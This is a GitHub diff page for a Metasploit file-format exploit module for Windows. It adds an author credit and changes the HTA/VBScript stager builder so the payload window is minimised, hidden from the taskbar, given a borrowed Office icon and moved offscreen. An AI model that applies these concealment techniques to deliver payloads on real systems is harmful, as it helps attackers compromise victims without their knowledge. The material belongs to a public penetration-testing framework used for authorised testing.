File tree Expand file tree Collapse file tree 1 file changed +20
-3
lines changed
modules/exploits/windows/fileformat Expand file tree Collapse file tree 1 file changed +20
-3
lines changed Original file line number Diff line number Diff line change @@ -25,8 +25,9 @@ def initialize(info={})
25
25
'License' => MSF_LICENSE ,
26
26
'Author' =>
27
27
[
28
- 'mr_me <steven[at]srcincite.io>' , # vulnerability discovery and exploit
29
- 'sinn3r' # help with msf foo!
28
+ 'mr_me <steven[at]srcincite.io>' , # vulnerability discovery and exploit
29
+ 'Brendan Coles <bcoles [at] gmail.com>' , # hidden hta tricks!
30
+ 'sinn3r' # help with msf foo!
30
31
] ,
31
32
'References' =>
32
33
[
@@ -55,7 +56,23 @@ def initialize(info={})
55
56
def build_vbs ( url , stager_name )
56
57
name_xmlhttp = rand_text_alpha ( 2 )
57
58
name_adodb = rand_text_alpha ( 2 )
58
- vbs = %Q|<style>* { visibility: hidden; }</style>
59
+ vbs = %Q|<head><hta:application
60
+ applicationname="#{ @payload_name } "
61
+ border="none"
62
+ borderstyle="normal"
63
+ caption="false"
64
+ contextmenu="false"
65
+ icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico"
66
+ maximizebutton="false"
67
+ minimizebutton="false"
68
+ navigable="false"
69
+ scroll="false"
70
+ selection="false"
71
+ showintaskbar="No"
72
+ sysmenu="false"
73
+ version="1.0"
74
+ windowstate="Minimize"></head>
75
+ <style>* { visibility: hidden; }</style>
59
76
<script language="VBScript">
60
77
window.resizeTo 1,1
61
78
window.moveTo -2000,-2000
You can’t perform that action at this time.
0 commit comments